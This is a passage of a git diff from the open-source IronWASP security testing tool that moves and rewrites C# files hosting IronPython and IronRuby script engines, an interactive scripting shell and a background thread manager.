- class IronScriptEngine - { - internal ScriptEngine Engine; - internal ScriptScope Scope; - ShellResultStream OutputStream = new ShellResultStream(); - public IronScriptEngine(ScriptEngine Engine) - { - ScriptRuntime RunTime = Engine.Runtime; - RunTime.IO.SetOutput(OutputStream, Encoding.UTF8); - RunTime.IO.SetErrorOutput(OutputStream, Encoding.UTF8); - ScriptScope Scope = Engine.CreateScope(); - Assembly MainAssembly = Assembly.GetExecutingAssembly(); - string RootDir = Directory.GetParent(MainAssembly.Location).FullName; - RunTime.LoadAssembly(MainAssembly); - RunTime.LoadAssembly(typeof(String).Assembly); - RunTime.LoadAssembly(typeof(Uri).Assembly); - this.Engine = Engine; - this.Scope = Scope; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.IO; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Data.SQLite; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; +using System.Reflection; +using Microsoft.Scripting; +using Microsoft.Scripting.Runtime; +using Microsoft.Scripting.Hosting; +using IronPython; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using IronPython.Runtime.Exceptions; +using IronRuby; +using IronRuby.Hosting; +using IronRuby.Runtime; +using IronRuby.StandardLibrary; + +namespace IronWASP +{ + class IronScriptEngine + { + internal ScriptEngine Engine; + internal ScriptScope Scope; + ShellResultStream OutputStream = new ShellResultStream(); + public IronScriptEngine(ScriptEngine Engine) + { + ScriptRuntime RunTime = Engine.Runtime; + RunTime.IO.SetOutput(OutputStream, Encoding.UTF8); + RunTime.IO.SetErrorOutput(OutputStream, Encoding.UTF8); + ScriptScope Scope = Engine.CreateScope(); + Assembly MainAssembly = Assembly.GetExecutingAssembly(); + string RootDir = Directory.GetParent(MainAssembly.Location).FullName; + RunTime.LoadAssembly(MainAssembly); + RunTime.LoadAssembly(typeof(String).Assembly); + RunTime.LoadAssembly(typeof(Uri).Assembly); + this.Engine = Engine; + this.Scope = Scope; + } + } +} diff --git a/IronWASP/IronScripting.cs b/Iron/IronScripting.cs similarity index 97% rename from IronWASP/IronScripting.cs rename to Iron/IronScripting.cs index ecfdbbe..09a1cc1 100644 --- a/IronWASP/IronScripting.cs +++ b/Iron/IronScripting.cs @@ -1,458 +1,458 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.IO; -using System.Xml; -using System.Collections; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Data.SQLite; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; -using System.Reflection; -using Microsoft.Scripting; -using Microsoft.Scripting.Runtime; -using Microsoft.Scripting.Hosting; -using IronPython; -using IronPython.Hosting; -using IronPython.Modules; -using IronPython.Runtime; -using IronPython.Runtime.Exceptions; -using IronRuby; -using IronRuby.Hosting; -using IronRuby.Runtime; -using IronRuby.StandardLibrary; - -namespace IronWASP -{ - class IronScripting - { - static ScriptRuntime RunTime; - static ScriptEngine Engine; - static ScriptScope Scope; - - static ShellResultStream ShellOutStream = new ShellResultStream(); - static string CommandBuffer = ""; - static string CurrentLanguage = "Python"; - internal static string ShellPrompt = ">>> "; - internal static bool MoreExpected = false; - internal static bool BlockShell = false; - static List CommandHistory = new List(); - static int CommandHistoryPointer = -1; - static int MaxHistoryLength = 50; - static bool On = false; - static ManualResetEvent MSR = new ManualResetEvent(false); - static string QueuedCommand = ""; - static string QueuedCommands = ""; - static Thread ExecutorThread; - - internal static List PyPaths = new List(); - internal static List RbPaths = new List(); - internal static List PyCommands = new List(); - internal static List RbCommands = new List(); - - internal static StringBuilder ShellOutText = new StringBuilder(); - static int MaxOutTextLength = 100000; - - internal static void InitialiseScriptingEnvironment() - { - - ScriptRuntimeSetup Setup = new ScriptRuntimeSetup(); - Setup.LanguageSetups.Add(IronRuby.Ruby.CreateRubySetup()); - Setup.LanguageSetups.Add(IronPython.Hosting.Python.CreateLanguageSetup(null)); - RunTime = new ScriptRuntime(Setup); - Engine = RunTime.GetEngine("py"); - Scope = RunTime.CreateScope(); - - RunTime.IO.SetOutput(ShellOutStream, Encoding.UTF8); - RunTime.IO.SetErrorOutput(ShellOutStream, Encoding.UTF8); - - Assembly MainAssembly = Assembly.GetExecutingAssembly(); - string RootDir = Directory.GetParent(MainAssembly.Location).FullName; - string HAGPath = Path.Combine(RootDir, "HtmlAgilityPack.dll"); - Assembly HAGAssembly = Assembly.LoadFile(HAGPath); - - RunTime.LoadAssembly(MainAssembly); - RunTime.LoadAssembly(HAGAssembly); - RunTime.LoadAssembly(typeof(String).Assembly); - RunTime.LoadAssembly(typeof(Uri).Assembly); - RunTime.LoadAssembly(typeof(XmlDocument).Assembly); - - Engine.Runtime.TryGetEngine("py", out Engine); - List PySearchPaths = new List(); - foreach (string PyPath in PyPaths) - { - PySearchPaths.Add(PyPath.Replace("$ROOTDIR", RootDir)); - } - try - { - Engine.SetSearchPaths(PySearchPaths); - } - catch(Exception Exp) - { - IronException.Report("Unable to set PyPaths", Exp.Message, Exp.StackTrace); - } - - foreach (string PyCommand in PyCommands) - { - try - { - ExecuteStartUpCommand(PyCommand); - } - catch(Exception Exp) - { - IronException.Report("Unable to execute Python startup command - " + PyCommand, Exp.Message, Exp.StackTrace); - } - } - - Engine.Runtime.TryGetEngine("rb", out Engine); - - List RbSearchPaths = new List(); - - foreach (string RbPath in RbPaths) - { - RbSearchPaths.Add(RbPath.Replace("$ROOTDIR", RootDir)); - } - Engine.SetSearchPaths(RbSearchPaths); - - foreach (string RbCommand in RbCommands) - { - try - { - ExecuteStartUpCommand(RbCommand); - } - catch (Exception Exp) - { - IronException.Report("Unable to execute Ruby startup command" + RbCommand, Exp.Message, Exp.StackTrace); - } - } - - Engine.Runtime.TryGetEngine("py", out Engine); - ExecuteStartUpCommand("print 123"); - ShellOutText = new StringBuilder(); - IronUI.ResetInteractiveShellResult(); - } - - internal static void ChangeLanguageToPython() - { - CurrentLanguage = "Python"; - Engine.Runtime.TryGetEngine("py", out Engine); - Reset(); - } - internal static void ChangeLanguageToRuby() - { - CurrentLanguage = "Ruby"; - Engine.Runtime.TryGetEngine("rb", out Engine); - Reset(); - } - - internal static void QueueMultiLineShellInputForExecution(string Commands) - { - QueuedCommand = ""; - QueuedCommands = Commands; - ExecuteQueuedCommands(); - } - - internal static void QueueInteractiveShellInputForExecution(string Command) - { - QueuedCommands = ""; - QueuedCommand = Command; - ExecuteQueuedCommands(); - } - - static void ExecuteQueuedCommands() - { - On = true; - if (!IsExecutorAlive()) - { - ThreadStart TS = new ThreadStart(Executor); - ExecutorThread = new Thread(TS); - ExecutorThread.Start(); - } - MSR.Set(); - } - - static bool IsExecutorAlive() - { - if (ExecutorThread == null) return false; - try - { - if (ExecutorThread.ThreadState == ThreadState.WaitSleepJoin) - { - return true; - } - else - { - ExecutorThread.Abort(); - return false; - } - } - catch - { - return false; - } - } - - static void ExecuteStartUpCommand(string Command) - { - ScriptSource Source = IronScripting.Engine.CreateScriptSourceFromString(Command, SourceCodeKind.InteractiveCode); - Source.Execute(IronScripting.Scope); - } - - internal static InteractiveShellResult ExecuteInteractiveShellInput(string Command) - { - InteractiveShellResult ISR = new InteractiveShellResult(); - if (MoreExpected) - { - CommandBuffer += Command; - } - else - { - CommandBuffer = Command; - } - try - { - ScriptSource Source = IronScripting.Engine.CreateScriptSourceFromString(CommandBuffer, SourceCodeKind.InteractiveCode); - ScriptCodeParseResult Result = Source.GetCodeProperties(); - if (Result == ScriptCodeParseResult.Complete || Result == ScriptCodeParseResult.Invalid || CanExecute(Command)) - { - Source.Execute(IronScripting.Scope); - Reset(); - return ISR; - } - else - { - ISR.MoreExpected = true; - Set(Command); - return ISR; - } - } - catch (Exception exp) - { - ISR.ResultString = "Exception: " + exp.Message + Environment.NewLine; - Reset(); - return ISR; - } - } - - internal static InteractiveShellResult ExecuteMultiLineShellInput(string Commands) - { - List CommandsList = new List(); - InteractiveShellResult ISR = new InteractiveShellResult(); - try - { - string ProcessedCode = Commands; - if (IronScripting.Engine.Setup.DisplayName.Contains("IronPython")) - { - string[] Results = PluginEditor.CheckPythonIndentation(ProcessedCode); - if (Results[1].Length > 0) - { - ProcessedCode = PluginEditor.FixPythonIndentation(ProcessedCode); - Results = PluginEditor.CheckPythonIndentation(ProcessedCode); - if (Results[1].Length > 0) - { - throw new Exception(Results[1]); - } - } - } - ScriptSource Source = IronScripting.Engine.CreateScriptSourceFromString(ProcessedCode, SourceCodeKind.AutoDetect); - Source.Execute(IronScripting.Scope); - Reset(); - return ISR; - } - catch (Exception exp) - { - ISR.ResultString = "Exception : " + exp.Message + Environment.NewLine; - Reset(); - return ISR; - } - } - - static void Reset() - { - if (CurrentLanguage.Equals("Python")) - { - ShellPrompt = ">>>> "; - } - else - { - ShellPrompt = "irb> "; - } - MoreExpected = false; - CommandBuffer = ""; - } - static void Set(string Command) - { - if (CurrentLanguage.Equals("Python")) - { - ShellPrompt = ".... "; - } - else - { - ShellPrompt = "irb: "; - } - MoreExpected = true; - CommandBuffer += "\n"; - } - static bool CanExecute(string Command) - { - if (MoreExpected && Command.Length == 0) - { - return true; - } - else - { - return false; - } - } - internal static void AddCommandToHistory(string Command) - { - if (CommandHistory.Contains(Command)) - { - CommandHistory.Remove(Command); - } - if (Command.Length > 0) - { - CommandHistory.Add(Command); - } - CommandHistoryPointer = -1; - if (CommandHistory.Count > MaxHistoryLength) - { - CommandHistory.RemoveAt(0); - } - } - internal static string GetNextCommandFromHistory() - { - if (CommandHistory.Count == 0) - { - return ""; - } - if (CommandHistoryPointer == -1 || CommandHistoryPointer == CommandHistory.Count -1) - { - return ""; - } - CommandHistoryPointer++; - return CommandHistory[CommandHistoryPointer]; - } - internal static string GetPreviousCommandFromHistory() - { - if (CommandHistory.Count == 0) - { - return ""; - } - if (CommandHistoryPointer == 0) - { - return ""; - } - if (CommandHistoryPointer == -1) - { - CommandHistoryPointer = CommandHistory.Count; - } - CommandHistoryPointer--; - return CommandHistory[CommandHistoryPointer]; - } - - static void Executor() - { - while (On) - { - try - { - On = false; - if (QueuedCommands.Length > 0) - { - try - { - IronDB.CommandsLogFile.WriteLine(QueuedCommands); - IronDB.CommandsLogFile.Flush(); - } - catch { } - InteractiveShellResult Result = IronScripting.ExecuteMultiLineShellInput(QueuedCommands); - IronUI.UpdateInteractiveShellResult(Result); - try - { - if (Result.ResultString.Length > 0) - { - IronDB.CommandsLogFile.WriteLine(Result.ResultString); - } - } - catch { } - } - else - { - try - { - IronDB.CommandsLogFile.WriteLine(QueuedCommand); - IronDB.CommandsLogFile.Flush(); - } - catch { } - InteractiveShellResult Result = IronScripting.ExecuteInteractiveShellInput(QueuedCommand); - IronUI.UpdateInteractiveShellResult(Result); - try - { - if (Result.ResultString.Length > 0) - { - IronDB.CommandsLogFile.WriteLine(Result.ResultString); - } - } - catch { } - } - } - catch (ThreadAbortException) - { - - } - catch (Exception exp) - { - IronException.Report("Error executing Scripting Shell commands", exp.Message, exp.StackTrace); - } - MSR.Reset(); - MSR.WaitOne(); - } - } - - internal static void StopExecutor() - { - try - { - ExecutorThread.Abort(); - } - catch - { - // - } - } - - internal static bool CheckOnOutText() - { - if (ShellOutText.Length > MaxOutTextLength) - { - ShellOutText.Remove(0, (ShellOutText.Length - MaxOutTextLength) + 10000); - return true; - } - else - { - return false; - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.IO; +using System.Xml; +using System.Collections; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Data.SQLite; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Threading; +using System.Reflection; +using Microsoft.Scripting; +using Microsoft.Scripting.Runtime; +using Microsoft.Scripting.Hosting; +using IronPython; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using IronPython.Runtime.Exceptions; +using IronRuby; +using IronRuby.Hosting; +using IronRuby.Runtime; +using IronRuby.StandardLibrary; + +namespace IronWASP +{ + class IronScripting + { + static ScriptRuntime RunTime; + static ScriptEngine Engine; + static ScriptScope Scope; + + static ShellResultStream ShellOutStream = new ShellResultStream(); + static string CommandBuffer = ""; + static string CurrentLanguage = "Python"; + internal static string ShellPrompt = ">>> "; + internal static bool MoreExpected = false; + internal static bool BlockShell = false; + static List CommandHistory = new List(); + static int CommandHistoryPointer = -1; + static int MaxHistoryLength = 50; + static bool On = false; + static ManualResetEvent MSR = new ManualResetEvent(false); + static string QueuedCommand = ""; + static string QueuedCommands = ""; + static Thread ExecutorThread; + + internal static List PyPaths = new List(); + internal static List RbPaths = new List(); + internal static List PyCommands = new List(); + internal static List RbCommands = new List(); + + internal static StringBuilder ShellOutText = new StringBuilder(); + static int MaxOutTextLength = 100000; + + internal static void InitialiseScriptingEnvironment() + { + + ScriptRuntimeSetup Setup = new ScriptRuntimeSetup(); + Setup.LanguageSetups.Add(IronRuby.Ruby.CreateRubySetup()); + Setup.LanguageSetups.Add(IronPython.Hosting.Python.CreateLanguageSetup(null)); + RunTime = new ScriptRuntime(Setup); + Engine = RunTime.GetEngine("py"); + Scope = RunTime.CreateScope(); + + RunTime.IO.SetOutput(ShellOutStream, Encoding.UTF8); + RunTime.IO.SetErrorOutput(ShellOutStream, Encoding.UTF8); + + Assembly MainAssembly = Assembly.GetExecutingAssembly(); + string RootDir = Directory.GetParent(MainAssembly.Location).FullName; + string HAGPath = Path.Combine(RootDir, "HtmlAgilityPack.dll"); + Assembly HAGAssembly = Assembly.LoadFile(HAGPath); + + RunTime.LoadAssembly(MainAssembly); + RunTime.LoadAssembly(HAGAssembly); + RunTime.LoadAssembly(typeof(String).Assembly); + RunTime.LoadAssembly(typeof(Uri).Assembly); + RunTime.LoadAssembly(typeof(XmlDocument).Assembly); + + Engine.Runtime.TryGetEngine("py", out Engine); + List PySearchPaths = new List(); + foreach (string PyPath in PyPaths) + { + PySearchPaths.Add(PyPath.Replace("$ROOTDIR", RootDir)); + } + try + { + Engine.SetSearchPaths(PySearchPaths); + } + catch(Exception Exp) + { + IronException.Report("Unable to set PyPaths", Exp.Message, Exp.StackTrace); + } + + foreach (string PyCommand in PyCommands) + { + try + { + ExecuteStartUpCommand(PyCommand); + } + catch(Exception Exp) + { + IronException.Report("Unable to execute Python startup command - " + PyCommand, Exp.Message, Exp.StackTrace); + } + } + + Engine.Runtime.TryGetEngine("rb", out Engine); + + List RbSearchPaths = new List(); + + foreach (string RbPath in RbPaths) + { + RbSearchPaths.Add(RbPath.Replace("$ROOTDIR", RootDir)); + } + Engine.SetSearchPaths(RbSearchPaths); + + foreach (string RbCommand in RbCommands) + { + try + { + ExecuteStartUpCommand(RbCommand); + } + catch (Exception Exp) + { + IronException.Report("Unable to execute Ruby startup command" + RbCommand, Exp.Message, Exp.StackTrace); + } + } + + Engine.Runtime.TryGetEngine("py", out Engine); + ExecuteStartUpCommand("print 123"); + ShellOutText = new StringBuilder(); + IronUI.ResetInteractiveShellResult(); + } + + internal static void ChangeLanguageToPython() + { + CurrentLanguage = "Python"; + Engine.Runtime.TryGetEngine("py", out Engine); + Reset(); + } + internal static void ChangeLanguageToRuby() + { + CurrentLanguage = "Ruby"; + Engine.Runtime.TryGetEngine("rb", out Engine); + Reset(); + } + + internal static void QueueMultiLineShellInputForExecution(string Commands) + { + QueuedCommand = ""; + QueuedCommands = Commands; + ExecuteQueuedCommands(); + } + + internal static void QueueInteractiveShellInputForExecution(string Command) + { + QueuedCommands = ""; + QueuedCommand = Command; + ExecuteQueuedCommands(); + } + + static void ExecuteQueuedCommands() + { + On = true; + if (!IsExecutorAlive()) + { + ThreadStart TS = new ThreadStart(Executor); + ExecutorThread = new Thread(TS); + ExecutorThread.Start(); + } + MSR.Set(); + } + + static bool IsExecutorAlive() + { + if (ExecutorThread == null) return false; + try + { + if (ExecutorThread.ThreadState == ThreadState.WaitSleepJoin) + { + return true; + } + else + { + ExecutorThread.Abort(); + return false; + } + } + catch + { + return false; + } + } + + static void ExecuteStartUpCommand(string Command) + { + ScriptSource Source = IronScripting.Engine.CreateScriptSourceFromString(Command, SourceCodeKind.InteractiveCode); + Source.Execute(IronScripting.Scope); + } + + internal static InteractiveShellResult ExecuteInteractiveShellInput(string Command) + { + InteractiveShellResult ISR = new InteractiveShellResult(); + if (MoreExpected) + { + CommandBuffer += Command; + } + else + { + CommandBuffer = Command; + } + try + { + ScriptSource Source = IronScripting.Engine.CreateScriptSourceFromString(CommandBuffer, SourceCodeKind.InteractiveCode); + ScriptCodeParseResult Result = Source.GetCodeProperties(); + if (Result == ScriptCodeParseResult.Complete || Result == ScriptCodeParseResult.Invalid || CanExecute(Command)) + { + Source.Execute(IronScripting.Scope); + Reset(); + return ISR; + } + else + { + ISR.MoreExpected = true; + Set(Command); + return ISR; + } + } + catch (Exception exp) + { + ISR.ResultString = "Exception: " + exp.Message + Environment.NewLine; + Reset(); + return ISR; + } + } + + internal static InteractiveShellResult ExecuteMultiLineShellInput(string Commands) + { + List CommandsList = new List(); + InteractiveShellResult ISR = new InteractiveShellResult(); + try + { + string ProcessedCode = Commands; + if (IronScripting.Engine.Setup.DisplayName.Contains("IronPython")) + { + string[] Results = PluginEditor.CheckPythonIndentation(ProcessedCode); + if (Results[1].Length > 0) + { + ProcessedCode = PluginEditor.FixPythonIndentation(ProcessedCode); + Results = PluginEditor.CheckPythonIndentation(ProcessedCode); + if (Results[1].Length > 0) + { + throw new Exception(Results[1]); + } + } + } + ScriptSource Source = IronScripting.Engine.CreateScriptSourceFromString(ProcessedCode, SourceCodeKind.AutoDetect); + Source.Execute(IronScripting.Scope); + Reset(); + return ISR; + } + catch (Exception exp) + { + ISR.ResultString = "Exception : " + exp.Message + Environment.NewLine; + Reset(); + return ISR; + } + } + + static void Reset() + { + if (CurrentLanguage.Equals("Python")) + { + ShellPrompt = ">>>> "; + } + else + { + ShellPrompt = "irb> "; + } + MoreExpected = false; + CommandBuffer = ""; + } + static void Set(string Command) + { + if (CurrentLanguage.Equals("Python")) + { + ShellPrompt = ".... "; + } + else + { + ShellPrompt = "irb: "; + } + MoreExpected = true; + CommandBuffer += "\n"; + } + static bool CanExecute(string Command) + { + if (MoreExpected && Command.Length == 0) + { + return true; + } + else + { + return false; + } + } + internal static void AddCommandToHistory(string Command) + { + if (CommandHistory.Contains(Command)) + { + CommandHistory.Remove(Command); + } + if (Command.Length > 0) + { + CommandHistory.Add(Command); + } + CommandHistoryPointer = -1; + if (CommandHistory.Count > MaxHistoryLength) + { + CommandHistory.RemoveAt(0); + } + } + internal static string GetNextCommandFromHistory() + { + if (CommandHistory.Count == 0) + { + return ""; + } + if (CommandHistoryPointer == -1 || CommandHistoryPointer == CommandHistory.Count -1) + { + return ""; + } + CommandHistoryPointer++; + return CommandHistory[CommandHistoryPointer]; + } + internal static string GetPreviousCommandFromHistory() + { + if (CommandHistory.Count == 0) + { + return ""; + } + if (CommandHistoryPointer == 0) + { + return ""; + } + if (CommandHistoryPointer == -1) + { + CommandHistoryPointer = CommandHistory.Count; + } + CommandHistoryPointer--; + return CommandHistory[CommandHistoryPointer]; + } + + static void Executor() + { + while (On) + { + try + { + On = false; + if (QueuedCommands.Length > 0) + { + try + { + IronDB.CommandsLogFile.WriteLine(QueuedCommands); + IronDB.CommandsLogFile.Flush(); + } + catch { } + InteractiveShellResult Result = IronScripting.ExecuteMultiLineShellInput(QueuedCommands); + IronUI.UpdateInteractiveShellResult(Result); + try + { + if (Result.ResultString.Length > 0) + { + IronDB.CommandsLogFile.WriteLine(Result.ResultString); + } + } + catch { } + } + else + { + try + { + IronDB.CommandsLogFile.WriteLine(QueuedCommand); + IronDB.CommandsLogFile.Flush(); + } + catch { } + InteractiveShellResult Result = IronScripting.ExecuteInteractiveShellInput(QueuedCommand); + IronUI.UpdateInteractiveShellResult(Result); + try + { + if (Result.ResultString.Length > 0) + { + IronDB.CommandsLogFile.WriteLine(Result.ResultString); + } + } + catch { } + } + } + catch (ThreadAbortException) + { + + } + catch (Exception exp) + { + IronException.Report("Error executing Scripting Shell commands", exp.Message, exp.StackTrace); + } + MSR.Reset(); + MSR.WaitOne(); + } + } + + internal static void StopExecutor() + { + try + { + ExecutorThread.Abort(); + } + catch + { + // + } + } + + internal static bool CheckOnOutText() + { + if (ShellOutText.Length > MaxOutTextLength) + { + ShellOutText.Remove(0, (ShellOutText.Length - MaxOutTextLength) + 10000); + return true; + } + else + { + return false; + } + } + } +} diff --git a/IronWASP/IronThread.cs b/Iron/IronThread.cs similarity index 96% rename from IronWASP/IronThread.cs rename to Iron/IronThread.cs index b2698a5..a3b31fb 100644 --- a/IronWASP/IronThread.cs +++ b/Iron/IronThread.cs @@ -1,224 +1,224 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; -using System.Threading; - -namespace IronWASP -{ - public class IronThread - { - object Parameter; - bool Parameterized = false; - ThreadStart Method; - ParameterizedThreadStart MethodWithParameters; - Thread Thread; - ManualResetEvent MRE = new ManualResetEvent(false); - bool STAMode = false; - - static Dictionary StartedThreads = new Dictionary(); - - private IronThread(Thread T) - { - this.Thread = T; - } - - private IronThread(ThreadStart Method) - { - this.Method = Method; - this.Parameterized = false; - } - - private IronThread(ParameterizedThreadStart MethodWithParameters, object Parameter) - { - this.MethodWithParameters = MethodWithParameters; - this.Parameterized = true; - this.Parameter = Parameter; - } - - //IronRuby must use IronThread.Run(lambda{method_name}) for parameter less methods - //IronRuby must use IronThread.Run(lambda{method_name('parameter')}) for methods with parameter - public static int Run(ThreadStart Method) - { - IronThread IT = new IronThread(Method); - return IT.StartThread(); - } - - public static int Run(ParameterizedThreadStart Method, object Parameter) - { - IronThread IT = new IronThread(Method, Parameter); - return IT.StartThread(); - } - - public static int RunSTAThread(ThreadStart Method) - { - IronThread IT = new IronThread(Method); - IT.STAMode = true; - return IT.StartThread(); - } - - public static int RunSTAThread(ParameterizedThreadStart Method, object Parameter) - { - IronThread IT = new IronThread(Method, Parameter); - IT.STAMode = true; - return IT.StartThread(); - } - - int StartThread() - { - Thread T = new Thread(this.Run); - if (this.STAMode) - { - T.SetApartmentState(ApartmentState.STA); - } - T.Start(); - AddThread(T); - return T.ManagedThreadId; - } - - void Run() - { - try - { - if (Parameterized) - { - MethodWithParameters(Parameter); - } - else - { - Method(); - } - } - catch (ThreadAbortException) { } - catch (Exception Exp) - { - IronException.Report("Exception in Backgroud Thread", Exp); - } - } - - static void AddThread(Thread T) - { - lock (StartedThreads) - { - if (StartedThreads.ContainsKey(T.ManagedThreadId)) - { - try - { - StartedThreads[T.ManagedThreadId].Thread.Abort(); - } - catch { } - } - StartedThreads[T.ManagedThreadId] = new IronThread(T); - } - } - - public static string GetStatus(int ThreadId) - { - lock (StartedThreads) - { - if (StartedThreads.ContainsKey(ThreadId)) - { - return StartedThreads[ThreadId].Thread.ThreadState.ToString(); - } - else - { - return "Invalid thread id"; - } - } - } - - public static void Stop(int ThreadId) - { - lock (StartedThreads) - { - if (StartedThreads.ContainsKey(ThreadId)) - { - try - { - StartedThreads[ThreadId].Thread.Abort(); - } - catch { } - } - } - } - - internal static void StopAll() - { - lock (StartedThreads) - { - foreach(int ID in StartedThreads.Keys) - { - try - { - StartedThreads[ID].Thread.Abort(); - } - catch { } - } - StartedThreads.Clear(); - } - } - - public static void Sleep(int MilliSeconds) - { - Thread.Sleep(MilliSeconds); - } - - public static void Wait() - { - int ThreadId = Thread.CurrentThread.ManagedThreadId; - ManualResetEvent MRE = null; - lock (StartedThreads) - { - if (StartedThreads.ContainsKey(ThreadId)) - { - MRE = StartedThreads[ThreadId].MRE; - } - } - if (MRE != null) - { - MRE.Reset(); - MRE.WaitOne(); - } - else - { - throw new Exception("Wait can only be called from an running IronThread"); - } - } - - public static void Resume(int ThreadId) - { - lock (StartedThreads) - { - if (StartedThreads.ContainsKey(ThreadId)) - { - StartedThreads[ThreadId].MRE.Set(); - } - } - } - - public static int ThreadId - { - get - { - return Thread.CurrentThread.ManagedThreadId; - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.Threading; + +namespace IronWASP +{ + public class IronThread + { + object Parameter; + bool Parameterized = false; + ThreadStart Method; + ParameterizedThreadStart MethodWithParameters; + Thread Thread; + ManualResetEvent MRE = new ManualResetEvent(false); + bool STAMode = false; + + static Dictionary StartedThreads = new Dictionary(); + + private IronThread(Thread T) + { + this.Thread = T; + } + + private IronThread(ThreadStart Method) + { + this.Method = Method; + this.Parameterized = false; + } + + private IronThread(ParameterizedThreadStart MethodWithParameters, object Parameter) + { + this.MethodWithParameters = MethodWithParameters; + this.Parameterized = true; + this.Parameter = Parameter; + } + + //IronRuby must use IronThread.Run(lambda{method_name}) for parameter less methods + //IronRuby must use IronThread.Run(lambda{method_name('parameter')}) for methods with parameter + public static int Run(ThreadStart Method) + { + IronThread IT = new IronThread(Method); + return IT.StartThread(); + } + + public static int Run(ParameterizedThreadStart Method, object Parameter) + { + IronThread IT = new IronThread(Method, Parameter); + return IT.StartThread(); + } + + public static int RunSTAThread(ThreadStart Method) + { + IronThread IT = new IronThread(Method); + IT.STAMode = true; + return IT.StartThread(); + } + + public static int RunSTAThread(ParameterizedThreadStart Method, object Parameter) + { + IronThread IT = new IronThread(Method, Parameter); + IT.STAMode = true; + return IT.StartThread(); + } + + int StartThread() + { + Thread T = new Thread(this.Run); + if (this.STAMode) + { + T.SetApartmentState(ApartmentState.STA); + } + T.Start(); + AddThread(T); + return T.ManagedThreadId; + } + + void Run() + { + try + { + if (Parameterized) + { + MethodWithParameters(Parameter); + } + else + { + Method(); + } + } + catch (ThreadAbortException) { } + catch (Exception Exp) + { + IronException.Report("Exception in Backgroud Thread", Exp); + } + } + + static void AddThread(Thread T) + { + lock (StartedThreads) + { + if (StartedThreads.ContainsKey(T.ManagedThreadId)) + { + try + { + StartedThreads[T.ManagedThreadId].Thread.Abort(); + } + catch { } + } + StartedThreads[T.ManagedThreadId] = new IronThread(T); + } + } + + public static string GetStatus(int ThreadId) + { + lock (StartedThreads) + { + if (StartedThreads.ContainsKey(ThreadId)) + { + return StartedThreads[ThreadId].Thread.ThreadState.ToString(); + } + else + { + return "Invalid thread id"; + } + } + } + + public static void Stop(int ThreadId) + { + lock (StartedThreads) + { + if (StartedThreads.ContainsKey(ThreadId)) + { + try + { + StartedThreads[ThreadId].Thread.Abort(); + } + catch { } + } + } + } + + internal static void StopAll() + { + lock (StartedThreads) + { + foreach(int ID in StartedThreads.Keys) + { + try + { + StartedThreads[ID].Thread.Abort(); + } + catch { } + } + StartedThreads.Clear(); + } + } + + public static void Sleep(int MilliSeconds) + { + Thread.Sleep(MilliSeconds); + } + + public static void Wait() + { + int ThreadId = Thread.CurrentThread.ManagedThreadId; + ManualResetEvent MRE = null; + lock (StartedThreads) + { + if (StartedThreads.ContainsKey(ThreadId)) + { + MRE = StartedThreads[ThreadId].MRE; + } + } + if (MRE != null) + { + MRE.Reset(); + MRE.WaitOne(); + } + else + { + throw new Exception("Wait can only be called from an running IronThread"); + } + } + + public static void Resume(int ThreadId) + { + lock (StartedThreads) + { + if (StartedThreads.ContainsKey(ThreadId)) + { + StartedThreads[ThreadId].MRE.Set(); + } + } + } + + public static int ThreadId + { + get + { + return Thread.CurrentThread.ManagedThreadId; + } + } + } +} diff --git a/IronWASP/IronTrace.cs b/Iron/IronTrace.cs similarity index 97% rename from 